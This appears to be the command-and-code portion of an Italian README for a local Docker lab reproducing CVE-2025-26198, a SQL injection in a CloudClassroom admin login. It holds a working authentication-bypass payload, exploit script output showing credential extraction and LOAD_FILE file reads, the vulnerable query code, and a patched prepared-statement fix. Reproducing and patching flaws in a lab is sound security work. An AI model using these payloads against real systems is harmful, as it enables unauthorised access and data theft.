# Clonare il repository
git clone <vostro-repo>
cd CVE-2025-26198

# Avviare l'infrastruttura
docker-compose up -d

# Attendere che MySQL sia pronto (30 secondi)
sleep 30

# Verificare i container
docker-compose ps

-- Query normale
SELECT * FROM admin WHERE username='admin' AND password=MD5('test')

-- Query con injection
SELECT * FROM admin WHERE username='admin' OR '1'='1'-- -' AND password=MD5('test')

python exploit_simple.py http://localhost:8081

CVE-2025-26198 - SQL Injection Exploit
==================================================
[*] Target: http://localhost:8081/loginlinkadmin.php
[*] Payload: admin' OR '1'='1'-- -
[+] Exploitation successful
[+] Status Code: 200

python exploit.py http://localhost:8081

============================================================
  CVE-2025-26198 - SQL Injection Exploitation
============================================================

Test 1: Boolean-based Authentication Bypass
[+] Authentication bypass SUCCESSFUL
[+] Admin access obtained without valid credentials

Test 2: Union-based Data Extraction
[*] Detecting number of columns...
[+] Number of columns: 5
[+] Database name: cloudclassroom
[+] MySQL user: [email protected]
[+] MySQL version: 5.7.44
[+] Tables: admin,students
[+] Admin data:
    - admin:[email protected]
    - superadmin:[email protected]

Test 3: Time-based Blind SQL Injection
[*] Response time: 3.05 seconds
[+] Time-based injection CONFIRMED

Test 4: File Read via LOAD_FILE()
[+] File read SUCCESSFUL
[+] FILE privilege confirmed

EXPLOITATION SUMMARY
[✓] Boolean-based (Auth Bypass)
[✓] Union-based (Data Extraction)
[✓] Time-based (Blind Detection)
[✓] File Read (LOAD_FILE)

# Attivare la versione corretta
mv app/loginlinkadmin.php app/loginlinkadmin_VULNERABLE.php
mv app/loginlinkadmin_PATCHED.php app/loginlinkadmin.php
docker-compose restart web
sleep 3

# Ritestare l'exploit
python exploit_simple.py http://localhost:8081

[-] Error: Connection aborted
[-] Exploitation failed

mv app/loginlinkadmin.php app/loginlinkadmin_PATCHED.php
mv app/loginlinkadmin_VULNERABLE.php app/loginlinkadmin.php
docker-compose restart web

$sql = "SELECT * FROM admin WHERE username='$input_username' AND password=MD5('$input_password')";
$result = $conn->query($sql);

$stmt = $pdo->prepare("SELECT * FROM admin WHERE username = :username AND password = MD5(:password)");
$stmt->bindParam(':username', $input_username, PDO::PARAM_STR);
$stmt->bindParam(':password', $input_password, PDO::PARAM_STR);
$stmt->execute();

CVE-2025-26198/
├── README.md
├── RAPPORT.md
├── docker-compose.yml
├── app/
│   ├── index.html
│   ├── loginlinkadmin.php          # Versione vulnerabile
│   ├── loginlinkadmin_PATCHED.php  # Versione sicura
│   └── sql/
│       ├── init.sql
│       └── grant_file.sql
├── exploit.py
├── exploit_simple.py
└── screenshots/

docker-compose logs web
docker-compose down
docker-compose up -d --build

# Verificare MySQL
docker-compose exec db mysql -udbuser -pdbpassword -e "SELECT 1"

# Verificare servizio web
curl http://localhost:8081

# Verificare versione attiva
head -n 2 app/loginlinkadmin.php

ports:
  - "8082:80"